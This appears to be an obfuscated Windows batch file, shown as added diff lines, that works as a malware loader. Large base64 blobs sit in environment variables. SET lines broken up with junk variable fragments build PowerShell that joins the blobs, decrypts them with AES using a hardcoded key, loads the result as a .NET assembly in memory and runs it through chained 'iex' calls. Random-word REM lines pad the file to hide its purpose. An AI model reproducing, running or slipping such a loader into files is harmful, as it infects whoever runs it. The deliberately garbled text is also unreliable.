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
+SeT xWiRpFW=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
+%XuE6JVf%S%Z3zjyKO%ET "tsEwVI=$ahpH2z%C5kpWIY% = [Scrip%heCg2xtB%tBlo%wKkMgn%ck]%MCgUg0Gl%::%o5OoeQ%Cr%yPxcigNf%eat%lDPz58%e(%z64amg%$env:9U%fKLoZR%k%qs0PfrGX%ijMM).A%Iga0Qei%st;iex $env%OUOeafI%:U%aJhattGA%nG2%FnvU8EV%2ylI"
+seT "9UkijMM=$jPFh8Se4 = [System.Security.Cry%x5h8QHX%pto%x4q2Wf%graphy.AESCryptoS%pf7iRu%ervice%ZRKXZ6%Provid%H0m7gRi3%er]::new();$jPFh8Se4.MoDe = [System.Security.C%fpU69Lh%ryptogra%GcRMfd%phy.CipherMode]::cbC;$jPFh8Se4.paD%JwCmBT%ding = [%w2c7di%Sys%GYAcqIF%tem.Se%NEfCHf%c%IeFOrXid%urity.Cryptograph%V4KRozYs%y%bjQkld9p%.Padd%THEogZ%ingMod%ZOmEvQws%e]::PKcS%Nk8JzvD%7;$jPFh8%dY1W4m69%Se4%DDWGONF%.%RhqrJA%k%IDQPV7%Ey = [byte%NvIqaw%[]]@(150,18%w6YI9sTO%2,%MNXZCaw%100,248,12%cHmFqY%9,91%FzPHzG%,226,48,1%v2EWdyn%31,19,15%dqInjU%0%vjhmOC%,255%YSHR7nz%,147,141,114%FQheHWo%,%uLhwI7h%162,9%EWjBsRX%1,%I0d54N9u%237,1%M5NgQxkM%59,83,174,199%Kqvve8%,21%GmPKm6AQ%8,12%vrg3PA%0,251,%PTIujQk%42%Y87iSL%,139,22,30,130,22%FzZvXWRv%7,18%pIRFzjwm%9);%rYZ0i8%$w%eHJHmoYa%EAR7v%ilCQDG7% = [%iVIhmwX%Conv%QOAKO6G%ert%gjeZfu%]::FromBase64String(-join ($env:43Nn4obTrQ0J.Split('!')).For%AsooFO%Each({(Get-Item "env%g1yGqAS%:$_%r5iINGiZ%").Value}));$jPFh8Se4.IV = $wEAR7v%rRY5IY%[%XXLF5hp%0..15];$F9q%aTOhkgs%72zl=$jPF%Um6WGse%h%x87MRrh%8Se4.cREAtEDecRy%x70fBcu%pTOR();$4lKXVT9%EpfHg3s2%F4=$F9q72zl.%sstBkt%tRANsfORmfInaLBLock($wEA%xV6kQBE%R%co3Hi04%7%fp8g6Auw%v[%pepczhO%16..$wEAR7v.Length], 0,$wE%PY6g2R6%AR%JladbGbi%7v.LenG%UPWsXuc%T%kx5lzIcM%H-16);$gEBOJ =%T8c3c36%[Syst%duOZ6He%em.Reflection.A%nIndc2q%sse%etNssPc3%mbly]::lOaD%bdqsgYW%($4lKXV%GVEsuK%T9F4%Obetf0y%);$gEBOJ.eNt%IG8SGD33%RYPoI%nTeXq0p%NT.Inv%GGCNxz4%oke($null, $n%Bk42VuR%ul%XXqhJBJ%l);"
+SET "aGVl55=$wEA%TMIpjA%R7v= %YI30DF9%'sjcmkI%FsNle0O%tWqh'%BuqUvYvQ%+'H%MSApLd%1z%DfXBQ83C%0%eZjwZH4O%S';%vlgBtoN3%iex%HgGVR94C% $env:OsJQhAK"
+SEt "MDmRRqW=$PSAuyfb =[Scrip%ajcv5fb4%tBlock%vL66hT%]::Create('').Ast%wCF8Rg%; iex%fcS1HBml% $env:%D0TG4xFT%tsEwV%wFotRv%I"
+sE%IOou4vo%T "tjvcnGK=$4lKX%IjMNEzH%VT9F%QYLjYbI%4%OUrzKiGR%= 1912050258; %IMr8wh3l%i%ehDI9wtw%e%OsTtwbA5%x %t5EpEd%$%es62DUxB%env:%pBBgEh9%b%xaA4Ij%QtWsrx"
+set j97KQu6=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
+%W2mTqTuD%rE%ebxpgsCY%m%yH5TwlD% %WRQ24s% hkdost pynomwg bpciyka kamna lejmmzok palonea ffonta muoat
+%Y2FlJv%g%ZnumMXp%oto%Pm04iLM% :yRhqEF
+%gjzErl0o%r%eeLrN3M%em%olcv31Mo% %mejdc62% dhsgllbv dvorep xfboda uusovat nargmy azajesth fisierii dytajut pouzim
+RE%sm03jbQ%M %ItjfZb% vwranda yqdexral cluvit jorpus smlouvya vlgovka
+:I]yJATum
+%goqqtk%%KBS6iOK%%TEXvrc%%FWiyQjq]%%C7AaxkU%%GJOewf%%Q3oLay%%uHFwBk8V%%EMpyips%%rCkxlY]w%%jcZVaL%%q}sd1Z%%HMnfW_3d%%gY7y6]H%%_l65zR%%k8A])6f8%%}hJU8H%%JrK)_3%%X899BQ%%Y_HcZYSH%%M2ueyzb%%COuR1S%%NDvsw9%%]3jayrxh%%gIbjt4Xe%%ptFYe6%%HiK)IxTz%%rJGgz{t%%v8xv6P{%%JMIF10mN%%kP0n[sB%%CR6X1S%%gjB{OZ%%}E3vHu%
+SET TGOERjgr=tUzcxCbbcwLahSDgks4nO5JyI1+NcVdnx5K7utnbaoqjfqXbj7EdsCVYRs6hiMbCVJJe4mMFvqIDyGFB12+NBc7DviDNnkRoks4btOM7QcOl3OHXAFE5dBXWPqYZHmWKshmKu2wLqLdwYYt7NGK01fHeLjeotesYgftUtbEzlA9PjiswOiGbqYwrCbdwHnCrq0ZV461lrdc9pa6ry1CeSWoP0xuOuLchUDln52W/X91KbqCO3ee/NMmjTVocpUjhPW7lHqF8OahkiDY34Vrsr3abPpGg5/3T9R3EMMlWs53VJFtHx6yUZ0CWsXNZ6bESxqp4uNcB001MQvh3WW70wj2v1MMSnkTqYcLFvXEDxKtwqbF55bKDKL6OXlkApFF59W9ju3fj6qXTVUlGMR0u/E+DH4Pfdsv3NT29fBWWlw6Rmjw9RGBUPYtL53MYL1EbYmmouEJLpeLOs36Wwz7XQBIp2JvFeixGzKDlJQO7+jOTmjPSK7lwba3AyDAtsinwShxHRfxmpK4wZnSJXtAVoR1F0dSwhuoRPhJ7Jh9yy24eC0s2YhV3B4Luj1M3r7A7Q0oWvFjeRqDWEnr2BC8ZaaM/KZfC+JtCUaZfOIy49RGNZgBia//X7azbFoR/UDh6pN+UoVSqrhy3lS4w0YPd8vZbNNt6nuZWb54tPXTdJyE3gYHG8xZDU8K9Em2I69y9+xS8zjVFGTrBoriztp8WEqWuJ/sJMoIccjAxVBGj/XpSKtvMfZDjlwxE7ZRWnbemzd7Nn0JlF04mQSRPkGgkyPhfdvPsUgcZ36zAiQXqVB1EL+S/e14TiFEGC56n